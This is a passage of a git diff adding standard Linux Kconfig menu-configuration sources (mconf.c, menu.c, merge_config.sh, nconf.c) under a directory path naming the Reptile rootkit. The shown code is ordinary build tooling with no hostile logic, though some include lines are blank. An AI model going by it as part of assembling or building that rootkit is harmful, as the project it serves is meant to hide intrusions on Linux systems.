{ + reset_subtitle(); + show_helptext(_("README"), _(mconf_readme)); + } + break; + case 3: + reset_subtitle(); + conf_save(); + break; + case 4: + reset_subtitle(); + conf_load(); + break; + case 5: + if (item_is_tag('t')) { + if (sym_set_tristate_value(sym, yes)) + break; + if (sym_set_tristate_value(sym, mod)) + show_textbox(NULL, setmod_text, 6, 74); + } + break; + case 6: + if (item_is_tag('t')) + sym_set_tristate_value(sym, no); + break; + case 7: + if (item_is_tag('t')) + sym_set_tristate_value(sym, mod); + break; + case 8: + if (item_is_tag('t')) + sym_toggle_tristate_value(sym); + else if (item_is_tag('m')) + conf(submenu, NULL); + break; + case 9: + search_conf(); + break; + case 10: + show_all_options = !show_all_options; + break; + } + } + + list_del(trail.prev); +} + +static int show_textbox_ext(const char *title, char *text, int r, int c, int + *keys, int *vscroll, int *hscroll, update_text_fn + update_text, void *data) +{ + dialog_clear(); + return dialog_textbox(title, text, r, c, keys, vscroll, hscroll, + update_text, data); +} + +static void show_textbox(const char *title, const char *text, int r, int c) +{ + show_textbox_ext(title, (char *) text, r, c, (int []) {0}, NULL, NULL, + NULL, NULL); +} + +static void show_helptext(const char *title, const char *text) +{ + show_textbox(title, text, 0, 0); +} + +static void conf_message_callback(const char *fmt, va_list ap) +{ + char buf[PATH_MAX+1]; + + vsnprintf(buf, sizeof(buf), fmt, ap); + if (save_and_exit) + printf("%s", buf); + else + show_textbox(NULL, buf, 6, 60); +} + +static void show_help(struct menu *menu) +{ + struct gstr help = str_new(); + + help.max_width = getmaxx(stdscr) - 10; + menu_get_ext_help(menu, &help); + + show_helptext(_(menu_get_prompt(menu)), str_get(&help)); + str_free(&help); +} + +static void conf_choice(struct menu *menu) +{ + const char *prompt = _(menu_get_prompt(menu)); + struct menu *child; + struct symbol *active; + + active = sym_get_choice_value(menu->sym); + while (1) { + int res; + int selected; + item_reset(); + + current_menu = menu; + for (child = menu->list; child; child = child->next) { + if (!menu_is_visible(child)) + continue; + if (child->sym) + item_make("%s", _(menu_get_prompt(child))); + else { + item_make("*** %s ***", _(menu_get_prompt(child))); + item_set_tag(':'); + } + item_set_data(child); + if (child->sym == active) + item_set_selected(1); + if (child->sym == sym_get_choice_value(menu->sym)) + item_set_tag('X'); + } + dialog_clear(); + res = dialog_checklist(prompt ? _(prompt) : _("Main Menu"), + _(radiolist_instructions), + MENUBOX_HEIGTH_MIN, + MENUBOX_WIDTH_MIN, + CHECKLIST_HEIGTH_MIN); + selected = item_activate_selected(); + switch (res) { + case 0: + if (selected) { + child = item_data(); + if (!child->sym) + break; + + sym_set_tristate_value(child->sym, yes); + } + return; + case 1: + if (selected) { + child = item_data(); + show_help(child); + active = child->sym; + } else + show_help(menu); + break; + case KEY_ESC: + return; + case -ERRDISPLAYTOOSMALL: + return; + } + } +} + +static void conf_string(struct menu *menu) +{ + const char *prompt = menu_get_prompt(menu); + + while (1) { + int res; + const char *heading; + + switch (sym_get_type(menu->sym)) { + case S_INT: + heading = _(inputbox_instructions_int); + break; + case S_HEX: + heading = _(inputbox_instructions_hex); + break; + case S_STRING: + heading = _(inputbox_instructions_string); + break; + default: + heading = _("Internal mconf error!"); + } + dialog_clear(); + res = dialog_inputbox(prompt ? _(prompt) : _("Main Menu"), + heading, 10, 75, + sym_get_string_value(menu->sym)); + switch (res) { + case 0: + if (sym_set_string_value(menu->sym, dialog_input_result)) + return; + show_textbox(NULL, _("You have made an invalid entry."), 5, 43); + break; + case 1: + show_help(menu); + break; + case KEY_ESC: + return; + } + } +} + +static void conf_load(void) +{ + + while (1) { + int res; + dialog_clear(); + res = dialog_inputbox(NULL, load_config_text, + 11, 55, filename); + switch(res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_read(dialog_input_result)) { + set_config_filename(dialog_input_result); + sym_set_change_count(1); + return; + } + show_textbox(NULL, _("File does not exist!"), 5, 38); + break; + case 1: + show_helptext(_("Load Alternate Configuration"), load_config_help); + break; + case KEY_ESC: + return; + } + } +} + +static void conf_save(void) +{ + while (1) { + int res; + dialog_clear(); + res = dialog_inputbox(NULL, save_config_text, + 11, 55, filename); + switch(res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_write(dialog_input_result)) { + set_config_filename(dialog_input_result); + return; + } + show_textbox(NULL, _("Can't create file! Probably a nonexistent directory."), 5, 60); + break; + case 1: + show_helptext(_("Save Alternate Configuration"), save_config_help); + break; + case KEY_ESC: + return; + } + } +} + +static int handle_exit(void) +{ + int res; + + save_and_exit = 1; + reset_subtitle(); + dialog_clear(); + if (conf_get_changed()) + res = dialog_yesno(NULL, + _("Do you wish to save your new configuration?\n" + "(Press to continue "PRODUCT" configuration.)"), + 6, 60); + else + res = -1; + + end_dialog(saved_x, saved_y); + + switch (res) { + case 0: + if (conf_write(filename)) { + fprintf(stderr, _("\n\n" + "Error while writing of the configuration.\n" + "Your configuration changes were NOT saved." + "\n\n")); + return 1; + } + /* fall through */ + case -1: + printf(_("\n\n" + "*** End of the configuration.\n" + "*** Execute 'make' to start the build or try 'make help'." + "\n\n")); + res = 0; + break; + default: + fprintf(stderr, _("\n\n" + "Your configuration changes were NOT saved." + "\n\n")); + if (res != KEY_ESC) + res = 0; + } + + return res; +} + +static void sig_handler(int signo) +{ + exit(handle_exit()); +} + +int main(int ac, char **av) +{ + char *mode; + int res; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + signal(SIGINT, sig_handler); + + conf_parse(av[1]); + conf_read(NULL); + + mode = getenv("MENUCONFIG_MODE"); + if (mode) { + if (!strcasecmp(mode, "single_menu")) + single_menu_mode = 1; + } + + if (init_dialog(NULL)) { + fprintf(stderr, N_("Your display is too small to run Menuconfig!\n")); + fprintf(stderr, N_("It must be at least 19 lines by 80 columns.\n")); + return 1; + } + + set_config_filename(conf_get_configname()); + conf_set_message_callback(conf_message_callback); + do { + conf(&rootmenu, NULL); + res = handle_exit(); + } while (res == KEY_ESC); + + return res; +} + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/menu.c b/Linux/Rootkits/Reptile/scripts/kconfig/menu.c new file mode 100644 index 0000000..db1512a --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/menu.c @@ -0,0 +1,694 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include + +#include "lkc.h" + +static const char nohelp_text[] = "There is no help available for this option."; + +struct menu rootmenu; +static struct menu **last_entry_ptr; + +struct file *file_list; +struct file *current_file; + +void menu_warn(struct menu *menu, const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", menu->file->name, menu->lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); +} + +static void prop_warn(struct property *prop, const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", prop->file->name, prop->lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); +} + +void _menu_init(void) +{ + current_entry = current_menu = &rootmenu; + last_entry_ptr = &rootmenu.list; +} + +void menu_add_entry(struct symbol *sym) +{ + struct menu *menu; + + menu = xmalloc(sizeof(*menu)); + memset(menu, 0, sizeof(*menu)); + menu->sym = sym; + menu->parent = current_menu; + menu->file = current_file; + menu->lineno = zconf_lineno(); + + *last_entry_ptr = menu; + last_entry_ptr = &menu->next; + current_entry = menu; + if (sym) + menu_add_symbol(P_SYMBOL, sym, NULL); +} + +void menu_end_entry(void) +{ +} + +struct menu *menu_add_menu(void) +{ + menu_end_entry(); + last_entry_ptr = ¤t_entry->list; + return current_menu = current_entry; +} + +void menu_end_menu(void) +{ + last_entry_ptr = ¤t_menu->next; + current_menu = current_menu->parent; +} + +static struct expr *menu_check_dep(struct expr *e) +{ + if (!e) + return e; + + switch (e->type) { + case E_NOT: + e->left.expr = menu_check_dep(e->left.expr); + break; + case E_OR: + case E_AND: + e->left.expr = menu_check_dep(e->left.expr); + e->right.expr = menu_check_dep(e->right.expr); + break; + case E_SYMBOL: + /* change 'm' into 'm' && MODULES */ + if (e->left.sym == &symbol_mod) + return expr_alloc_and(e, expr_alloc_symbol(modules_sym)); + break; + default: + break; + } + return e; +} + +void menu_add_dep(struct expr *dep) +{ + current_entry->dep = expr_alloc_and(current_entry->dep, menu_check_dep(dep)); +} + +void menu_set_type(int type) +{ + struct symbol *sym = current_entry->sym; + + if (sym->type == type) + return; + if (sym->type == S_UNKNOWN) { + sym->type = type; + return; + } + menu_warn(current_entry, + "ignoring type redefinition of '%s' from '%s' to '%s'", + sym->name ? sym->name : "", + sym_type_name(sym->type), sym_type_name(type)); +} + +struct property *menu_add_prop(enum prop_type type, char *prompt, struct expr *expr, struct expr *dep) +{ + struct property *prop = prop_alloc(type, current_entry->sym); + + prop->menu = current_entry; + prop->expr = expr; + prop->visible.expr = menu_check_dep(dep); + + if (prompt) { + if (isspace(*prompt)) { + prop_warn(prop, "leading whitespace ignored"); + while (isspace(*prompt)) + prompt++; + } + if (current_entry->prompt && current_entry != &rootmenu) + prop_warn(prop, "prompt redefined"); + + /* Apply all upper menus' visibilities to actual prompts. */ + if(type == P_PROMPT) { + struct menu *menu = current_entry; + + while ((menu = menu->parent) != NULL) { + struct expr *dup_expr; + + if (!menu->visibility) + continue; + /* + * Do not add a reference to the + * menu's visibility expression but + * use a copy of it. Otherwise the + * expression reduction functions + * will modify expressions that have + * multiple references which can + * cause unwanted side effects. + */ + dup_expr = expr_copy(menu->visibility); + + prop->visible.expr + = expr_alloc_and(prop->visible.expr, + dup_expr); + } + } + + current_entry->prompt = prop; + } + prop->text = prompt; + + return prop; +} + +struct property *menu_add_prompt(enum prop_type type, char *prompt, struct expr *dep) +{ + return menu_add_prop(type, prompt, NULL, dep); +} + +void menu_add_visibility(struct expr *expr) +{ + current_entry->visibility = expr_alloc_and(current_entry->visibility, + expr); +} + +void menu_add_expr(enum prop_type type, struct expr *expr, struct expr *dep) +{ + menu_add_prop(type, NULL, expr, dep); +} + +void menu_add_symbol(enum prop_type type, struct symbol *sym, struct expr *dep) +{ + menu_add_prop(type, NULL, expr_alloc_symbol(sym), dep); +} + +void menu_add_option(int token, char *arg) +{ + switch (token) { + case T_OPT_MODULES: + if (modules_sym) + zconf_error("symbol '%s' redefines option 'modules'" + " already defined by symbol '%s'", + current_entry->sym->name, + modules_sym->name + ); + modules_sym = current_entry->sym; + break; + case T_OPT_DEFCONFIG_LIST: + if (!sym_defconfig_list) + sym_defconfig_list = current_entry->sym; + else if (sym_defconfig_list != current_entry->sym) + zconf_error("trying to redefine defconfig symbol"); + break; + case T_OPT_ENV: + prop_add_env(arg); + break; + } +} + +static int menu_validate_number(struct symbol *sym, struct symbol *sym2) +{ + return sym2->type == S_INT || sym2->type == S_HEX || + (sym2->type == S_UNKNOWN && sym_string_valid(sym, sym2->name)); +} + +static void sym_check_prop(struct symbol *sym) +{ + struct property *prop; + struct symbol *sym2; + for (prop = sym->prop; prop; prop = prop->next) { + switch (prop->type) { + case P_DEFAULT: + if ((sym->type == S_STRING || sym->type == S_INT || sym->type == S_HEX) && + prop->expr->type != E_SYMBOL) + prop_warn(prop, + "default for config symbol '%s'" + " must be a single symbol", sym->name); + if (prop->expr->type != E_SYMBOL) + break; + sym2 = prop_get_symbol(prop); + if (sym->type == S_HEX || sym->type == S_INT) { + if (!menu_validate_number(sym, sym2)) + prop_warn(prop, + "'%s': number is invalid", + sym->name); + } + break; + case P_SELECT: + sym2 = prop_get_symbol(prop); + if (sym->type != S_BOOLEAN && sym->type != S_TRISTATE) + prop_warn(prop, + "config symbol '%s' uses select, but is " + "not boolean or tristate", sym->name); + else if (sym2->type != S_UNKNOWN && + sym2->type != S_BOOLEAN && + sym2->type != S_TRISTATE) + prop_warn(prop, + "'%s' has wrong type. 'select' only " + "accept arguments of boolean and " + "tristate type", sym2->name); + break; + case P_RANGE: + if (sym->type != S_INT && sym->type != S_HEX) + prop_warn(prop, "range is only allowed " + "for int or hex symbols"); + if (!menu_validate_number(sym, prop->expr->left.sym) || + !menu_validate_number(sym, prop->expr->right.sym)) + prop_warn(prop, "range is invalid"); + break; + default: + ; + } + } +} + +void menu_finalize(struct menu *parent) +{ + struct menu *menu, *last_menu; + struct symbol *sym; + struct property *prop; + struct expr *parentdep, *basedep, *dep, *dep2, **ep; + + sym = parent->sym; + if (parent->list) { + if (sym && sym_is_choice(sym)) { + if (sym->type == S_UNKNOWN) { + /* find the first choice value to find out choice type */ + current_entry = parent; + for (menu = parent->list; menu; menu = menu->next) { + if (menu->sym && menu->sym->type != S_UNKNOWN) { + menu_set_type(menu->sym->type); + break; + } + } + } + /* set the type of the remaining choice values */ + for (menu = parent->list; menu; menu = menu->next) { + current_entry = menu; + if (menu->sym && menu->sym->type == S_UNKNOWN) + menu_set_type(sym->type); + } + parentdep = expr_alloc_symbol(sym); + } else if (parent->prompt) + parentdep = parent->prompt->visible.expr; + else + parentdep = parent->dep; + + for (menu = parent->list; menu; menu = menu->next) { + basedep = expr_transform(menu->dep); + basedep = expr_alloc_and(expr_copy(parentdep), basedep); + basedep = expr_eliminate_dups(basedep); + menu->dep = basedep; + if (menu->sym) + prop = menu->sym->prop; + else + prop = menu->prompt; + for (; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + dep = expr_transform(prop->visible.expr); + dep = expr_alloc_and(expr_copy(basedep), dep); + dep = expr_eliminate_dups(dep); + if (menu->sym && menu->sym->type != S_TRISTATE) + dep = expr_trans_bool(dep); + prop->visible.expr = dep; + if (prop->type == P_SELECT) { + struct symbol *es = prop_get_symbol(prop); + es->rev_dep.expr = expr_alloc_or(es->rev_dep.expr, + expr_alloc_and(expr_alloc_symbol(menu->sym), expr_copy(dep))); + } + } + } + for (menu = parent->list; menu; menu = menu->next) + menu_finalize(menu); + } else if (sym) { + basedep = parent->prompt ? parent->prompt->visible.expr : NULL; + basedep = expr_trans_compare(basedep, E_UNEQUAL, &symbol_no); + basedep = expr_eliminate_dups(expr_transform(basedep)); + last_menu = NULL; + for (menu = parent->next; menu; menu = menu->next) { + dep = menu->prompt ? menu->prompt->visible.expr : menu->dep; + if (!expr_contains_symbol(dep, sym)) + break; + if (expr_depends_symbol(dep, sym)) + goto next; + dep = expr_trans_compare(dep, E_UNEQUAL, &symbol_no); + dep = expr_eliminate_dups(expr_transform(dep)); + dep2 = expr_copy(basedep); + expr_eliminate_eq(&dep, &dep2); + expr_free(dep); + if (!expr_is_yes(dep2)) { + expr_free(dep2); + break; + } + expr_free(dep2); + next: + menu_finalize(menu); + menu->parent = parent; + last_menu = menu; + } + if (last_menu) { + parent->list = parent->next; + parent->next = last_menu->next; + last_menu->next = NULL; + } + + sym->dir_dep.expr = expr_alloc_or(sym->dir_dep.expr, parent->dep); + } + for (menu = parent->list; menu; menu = menu->next) { + if (sym && sym_is_choice(sym) && + menu->sym && !sym_is_choice_value(menu->sym)) { + current_entry = menu; + menu->sym->flags |= SYMBOL_CHOICEVAL; + if (!menu->prompt) + menu_warn(menu, "choice value must have a prompt"); + for (prop = menu->sym->prop; prop; prop = prop->next) { + if (prop->type == P_DEFAULT) + prop_warn(prop, "defaults for choice " + "values not supported"); + if (prop->menu == menu) + continue; + if (prop->type == P_PROMPT && + prop->menu->parent->sym != sym) + prop_warn(prop, "choice value used outside its choice group"); + } + /* Non-tristate choice values of tristate choices must + * depend on the choice being set to Y. The choice + * values' dependencies were propagated to their + * properties above, so the change here must be re- + * propagated. + */ + if (sym->type == S_TRISTATE && menu->sym->type != S_TRISTATE) { + basedep = expr_alloc_comp(E_EQUAL, sym, &symbol_yes); + menu->dep = expr_alloc_and(basedep, menu->dep); + for (prop = menu->sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + prop->visible.expr = expr_alloc_and(expr_copy(basedep), + prop->visible.expr); + } + } + menu_add_symbol(P_CHOICE, sym, NULL); + prop = sym_get_choice_prop(sym); + for (ep = &prop->expr; *ep; ep = &(*ep)->left.expr) + ; + *ep = expr_alloc_one(E_LIST, NULL); + (*ep)->right.sym = menu->sym; + } + if (menu->list && (!menu->prompt || !menu->prompt->text)) { + for (last_menu = menu->list; ; last_menu = last_menu->next) { + last_menu->parent = parent; + if (!last_menu->next) + break; + } + last_menu->next = menu->next; + menu->next = menu->list; + menu->list = NULL; + } + } + + if (sym && !(sym->flags & SYMBOL_WARNED)) { + if (sym->type == S_UNKNOWN) + menu_warn(parent, "config symbol defined without type"); + + if (sym_is_choice(sym) && !parent->prompt) + menu_warn(parent, "choice must have a prompt"); + + /* Check properties connected to this symbol */ + sym_check_prop(sym); + sym->flags |= SYMBOL_WARNED; + } + + if (sym && !sym_is_optional(sym) && parent->prompt) { + sym->rev_dep.expr = expr_alloc_or(sym->rev_dep.expr, + expr_alloc_and(parent->prompt->visible.expr, + expr_alloc_symbol(&symbol_mod))); + } +} + +bool menu_has_prompt(struct menu *menu) +{ + if (!menu->prompt) + return false; + return true; +} + +/* + * Determine if a menu is empty. + * A menu is considered empty if it contains no or only + * invisible entries. + */ +bool menu_is_empty(struct menu *menu) +{ + struct menu *child; + + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child)) + return(false); + } + return(true); +} + +bool menu_is_visible(struct menu *menu) +{ + struct menu *child; + struct symbol *sym; + tristate visible; + + if (!menu->prompt) + return false; + + if (menu->visibility) { + if (expr_calc_value(menu->visibility) == no) + return no; + } + + sym = menu->sym; + if (sym) { + sym_calc_value(sym); + visible = menu->prompt->visible.tri; + } else + visible = menu->prompt->visible.tri = expr_calc_value(menu->prompt->visible.expr); + + if (visible != no) + return true; + + if (!sym || sym_get_tristate_value(menu->sym) == no) + return false; + + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child)) { + if (sym) + sym->flags |= SYMBOL_DEF_USER; + return true; + } + } + + return false; +} + +const char *menu_get_prompt(struct menu *menu) +{ + if (menu->prompt) + return menu->prompt->text; + else if (menu->sym) + return menu->sym->name; + return NULL; +} + +struct menu *menu_get_root_menu(struct menu *menu) +{ + return &rootmenu; +} + +struct menu *menu_get_parent_menu(struct menu *menu) +{ + enum prop_type type; + + for (; menu != &rootmenu; menu = menu->parent) { + type = menu->prompt ? menu->prompt->type : 0; + if (type == P_MENU) + break; + } + return menu; +} + +bool menu_has_help(struct menu *menu) +{ + return menu->help != NULL; +} + +const char *menu_get_help(struct menu *menu) +{ + if (menu->help) + return menu->help; + else + return ""; +} + +static void get_prompt_str(struct gstr *r, struct property *prop, + struct list_head *head) +{ + int i, j; + struct menu *submenu[8], *menu, *location = NULL; + struct jump_key *jump; + + str_printf(r, _("Prompt: %s\n"), _(prop->text)); + menu = prop->menu->parent; + for (i = 0; menu != &rootmenu && i < 8; menu = menu->parent) { + bool accessible = menu_is_visible(menu); + + submenu[i++] = menu; + if (location == NULL && accessible) + location = menu; + } + if (head && location) { + jump = xmalloc(sizeof(struct jump_key)); + + if (menu_is_visible(prop->menu)) { + /* + * There is not enough room to put the hint at the + * beginning of the "Prompt" line. Put the hint on the + * last "Location" line even when it would belong on + * the former. + */ + jump->target = prop->menu; + } else + jump->target = location; + + if (list_empty(head)) + jump->index = 0; + else + jump->index = list_entry(head->prev, struct jump_key, + entries)->index + 1; + + list_add_tail(&jump->entries, head); + } + + if (i > 0) { + str_printf(r, _(" Location:\n")); + for (j = 4; --i >= 0; j += 2) { + menu = submenu[i]; + if (head && location && menu == location) + jump->offset = strlen(r->s); + str_printf(r, "%*c-> %s", j, ' ', + _(menu_get_prompt(menu))); + if (menu->sym) { + str_printf(r, " (%s [=%s])", menu->sym->name ? + menu->sym->name : _(""), + sym_get_string_value(menu->sym)); + } + str_append(r, "\n"); + } + } +} + +/* + * get property of type P_SYMBOL + */ +static struct property *get_symbol_prop(struct symbol *sym) +{ + struct property *prop = NULL; + + for_all_properties(sym, prop, P_SYMBOL) + break; + return prop; +} + +/* + * head is optional and may be NULL + */ +void get_symbol_str(struct gstr *r, struct symbol *sym, + struct list_head *head) +{ + bool hit; + struct property *prop; + + if (sym && sym->name) { + str_printf(r, "Symbol: %s [=%s]\n", sym->name, + sym_get_string_value(sym)); + str_printf(r, "Type : %s\n", sym_type_name(sym->type)); + if (sym->type == S_INT || sym->type == S_HEX) { + prop = sym_get_range_prop(sym); + if (prop) { + str_printf(r, "Range : "); + expr_gstr_print(prop->expr, r); + str_append(r, "\n"); + } + } + } + for_all_prompts(sym, prop) + get_prompt_str(r, prop, head); + + prop = get_symbol_prop(sym); + if (prop) { + str_printf(r, _(" Defined at %s:%d\n"), prop->menu->file->name, + prop->menu->lineno); + if (!expr_is_yes(prop->visible.expr)) { + str_append(r, _(" Depends on: ")); + expr_gstr_print(prop->visible.expr, r); + str_append(r, "\n"); + } + } + + hit = false; + for_all_properties(sym, prop, P_SELECT) { + if (!hit) { + str_append(r, " Selects: "); + hit = true; + } else + str_printf(r, " && "); + expr_gstr_print(prop->expr, r); + } + if (hit) + str_append(r, "\n"); + if (sym->rev_dep.expr) { + str_append(r, _(" Selected by: ")); + expr_gstr_print(sym->rev_dep.expr, r); + str_append(r, "\n"); + } + str_append(r, "\n\n"); +} + +struct gstr get_relations_str(struct symbol **sym_arr, struct list_head *head) +{ + struct symbol *sym; + struct gstr res = str_new(); + int i; + + for (i = 0; sym_arr && (sym = sym_arr[i]); i++) + get_symbol_str(&res, sym, head); + if (!i) + str_append(&res, _("No matches found.\n")); + return res; +} + + +void menu_get_ext_help(struct menu *menu, struct gstr *help) +{ + struct symbol *sym = menu->sym; + const char *help_text = nohelp_text; + + if (menu_has_help(menu)) { + if (sym->name) + str_printf(help, "%s%s:\n\n", CONFIG_, sym->name); + help_text = menu_get_help(menu); + } + str_printf(help, "%s\n", _(help_text)); + if (sym) + get_symbol_str(help, sym, NULL); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/merge_config.sh b/Linux/Rootkits/Reptile/scripts/kconfig/merge_config.sh new file mode 100644 index 0000000..88d278c --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/merge_config.sh @@ -0,0 +1,151 @@ +#!/bin/sh +# merge_config.sh - Takes a list of config fragment values, and merges +# them one by one. Provides warnings on overridden values, and specified +# values that did not make it to the resulting .config file (due to missed +# dependencies or config symbol removal). +# +# Portions reused from kconf_check and generate_cfg: +# http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/kconf_check +# http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/generate_cfg +# +# Copyright (c) 2009-2010 Wind River Systems, Inc. +# Copyright 2011 Linaro +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License version 2 as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# See the GNU General Public License for more details. + +clean_up() { + rm -f $TMP_FILE + exit +} +trap clean_up HUP INT TERM + +usage() { + echo "Usage: $0 [OPTIONS] [CONFIG [...]]" + echo " -h display this help text" + echo " -m only merge the fragments, do not execute the make command" + echo " -n use allnoconfig instead of alldefconfig" + echo " -r list redundant entries when merging fragments" + echo " -O dir to put generated output files" +} + +MAKE=true +ALLTARGET=alldefconfig +WARNREDUN=false +OUTPUT=. + +while true; do + case $1 in + "-n") + ALLTARGET=allnoconfig + shift + continue + ;; + "-m") + MAKE=false + shift + continue + ;; + "-h") + usage + exit + ;; + "-r") + WARNREDUN=true + shift + continue + ;; + "-O") + if [ -d $2 ];then + OUTPUT=$(echo $2 | sed 's/\/*$//') + else + echo "output directory $2 does not exist" 1>&2 + exit 1 + fi + shift 2 + continue + ;; + *) + break + ;; + esac +done + +INITFILE=$1 +shift; + +MERGE_LIST=$* +SED_CONFIG_EXP="s/^\(# \)\{0,1\}\(CONFIG_[a-zA-Z0-9_]*\)[= ].*/\2/p" +TMP_FILE=$(mktemp ./.tmp.config.XXXXXXXXXX) + +echo "Using $INITFILE as base" +cat $INITFILE > $TMP_FILE + +# Merge files, printing warnings on overrided values +for MERGE_FILE in $MERGE_LIST ; do + echo "Merging $MERGE_FILE" + CFG_LIST=$(sed -n "$SED_CONFIG_EXP" $MERGE_FILE) + + for CFG in $CFG_LIST ; do + grep -q -w $CFG $TMP_FILE + if [ $? -eq 0 ] ; then + PREV_VAL=$(grep -w $CFG $TMP_FILE) + NEW_VAL=$(grep -w $CFG $MERGE_FILE) + if [ "x$PREV_VAL" != "x$NEW_VAL" ] ; then + echo Value of $CFG is redefined by fragment $MERGE_FILE: + echo Previous value: $PREV_VAL + echo New value: $NEW_VAL + echo + elif [ "$WARNREDUN" = "true" ]; then + echo Value of $CFG is redundant by fragment $MERGE_FILE: + fi + sed -i "/$CFG[ =]/d" $TMP_FILE + fi + done + cat $MERGE_FILE >> $TMP_FILE +done + +if [ "$MAKE" = "false" ]; then + cp $TMP_FILE $OUTPUT/.config + echo "#" + echo "# merged configuration written to $OUTPUT/.config (needs make)" + echo "#" + clean_up + exit +fi + +# If we have an output dir, setup the O= argument, otherwise leave +# it blank, since O=. will create an unnecessary ./source softlink +OUTPUT_ARG="" +if [ "$OUTPUT" != "." ] ; then + OUTPUT_ARG="O=$OUTPUT" +fi + + +# Use the merged file as the starting point for: +# alldefconfig: Fills in any missing symbols with Kconfig default +# allnoconfig: Fills in any missing symbols with # CONFIG_* is not set +PRODUCT_ENV=${PRODUCT_ENV:-KCONFIG} +make ${PRODUCT_ENV}_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET + + +# Check all specified config values took (might have missed-dependency issues) +for CFG in $(sed -n "$SED_CONFIG_EXP" $TMP_FILE); do + + REQUESTED_VAL=$(grep -w -e "$CFG" $TMP_FILE) + ACTUAL_VAL=$(grep -w -e "$CFG" $OUTPUT/.config) + if [ "x$REQUESTED_VAL" != "x$ACTUAL_VAL" ] ; then + echo "Value requested for $CFG not in final .config" + echo "Requested value: $REQUESTED_VAL" + echo "Actual value: $ACTUAL_VAL" + echo "" + fi +done + +clean_up diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/nconf.c b/Linux/Rootkits/Reptile/scripts/kconfig/nconf.c new file mode 100644 index 0000000..4fbecd2 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/nconf.c @@ -0,0 +1,1557 @@ +/* + * Copyright (C) 2008 Nir Tzachar +#include + +#include "lkc.h" +#include "nconf.h" +#include + +static const char nconf_global_help[] = N_( +"Help windows\n" +"------------\n" +"o Global help: Unless in a data entry window, pressing will give \n" +" you the global help window, which you are just reading.\n" +"\n" +"o A short version of the global help is available by pressing .\n" +"\n" +"o Local help: To get help related to the current menu entry, use any\n" +" of , or if in a data entry window then press .\n" +"\n" +"\n" +"Menu entries\n" +"------------\n" +"This interface lets you select features and parameters for the kernel\n" +"build. Kernel features can either be built-in, modularized, or removed.\n" +"Parameters must be entered as text or decimal or hexadecimal numbers.\n" +"\n" +"Menu entries beginning with following braces represent features that\n" +" [ ] can be built in or removed\n" +" < > can be built in, modularized or removed\n" +" { } can be built in or modularized, are selected by another feature\n" +" - - are selected by another feature\n" +" XXX cannot be selected. Symbol Info tells you why.\n" +"*, M or whitespace inside braces means to build in, build as a module\n" +"or to exclude the feature respectively.\n" +"\n" +"To change any of these features, highlight it with the movement keys\n" +"listed below and press to build it in, to make it a module or\n" +" to remove it. You may press the key to cycle through the\n" +"available options.\n" +"\n" +"A trailing \"--->\" designates a submenu, a trailing \"----\" an\n" +"empty submenu.\n" +"\n" +"Menu navigation keys\n" +"----------------------------------------------------------------------\n" +"Linewise up \n" +"Linewise down \n" +"Pagewise up \n" +"Pagewise down \n" +"First entry \n" +"Last entry \n" +"Enter a submenu \n" +"Go back to parent menu \n" +"Close a help window \n" +"Close entry window, apply \n" +"Close entry window, forget \n" +"Start incremental, case-insensitive search for STRING in menu entries,\n" +" no regex support, STRING is displayed in upper left corner\n" +" STRING\n" +" Remove last character \n" +" Jump to next hit \n" +" Jump to previous hit \n" +"Exit menu search mode \n" +"Search for configuration variables with or without leading CONFIG_\n" +" RegExpr\n" +"Verbose search help \n" +"----------------------------------------------------------------------\n" +"\n" +"Unless in a data entry window, key <1> may be used instead of ,\n" +"<2> instead of , etc.\n" +"\n" +"\n" +"Radiolist (Choice list)\n" +"-----------------------\n" +"Use the movement keys listed above to select the option you wish to set\n" +"and press .\n" +"\n" +"\n" +"Data entry\n" +"----------\n" +"Enter the requested information and press . Hexadecimal values\n" +"may be entered without the \"0x\" prefix.\n" +"\n" +"\n" +"Text Box (Help Window)\n" +"----------------------\n" +"Use movement keys as listed in table above.\n" +"\n" +"Press any of to exit.\n" +"\n" +"\n" +"Alternate configuration files\n" +"-----------------------------\n" +"nconfig supports switching between different configurations.\n" +"Press to save your current configuration. Press and enter\n" +"a file name to load a previously saved configuration.\n" +"\n" +"\n" +"Terminal configuration\n" +"----------------------\n" +"If you use nconfig in a xterm window, make sure your TERM environment\n" +"variable specifies a terminal configuration which supports at least\n" +"16 colors. Otherwise nconfig will look rather bad.\n" +"\n" +"If the \"stty size\" command reports the current terminalsize correctly,\n" +"nconfig will adapt to sizes larger than the traditional 80x25 \"standard\"\n" +"and display longer menus properly.\n" +"\n" +"\n" +"Single menu mode\n" +"----------------\n" +"If you prefer to have all of the menu entries listed in a single menu,\n" +"rather than the default multimenu hierarchy, run nconfig with\n" +"NCONFIG_MODE environment variable set to single_menu. Example:\n" +"\n" +"make NCONFIG_MODE=single_menu nconfig\n" +"\n" +" will then unfold the appropriate category, or fold it if it\n" +"is already unfolded. Folded menu entries will be designated by a\n" +"leading \"++>\" and unfolded entries by a leading \"-->\".\n" 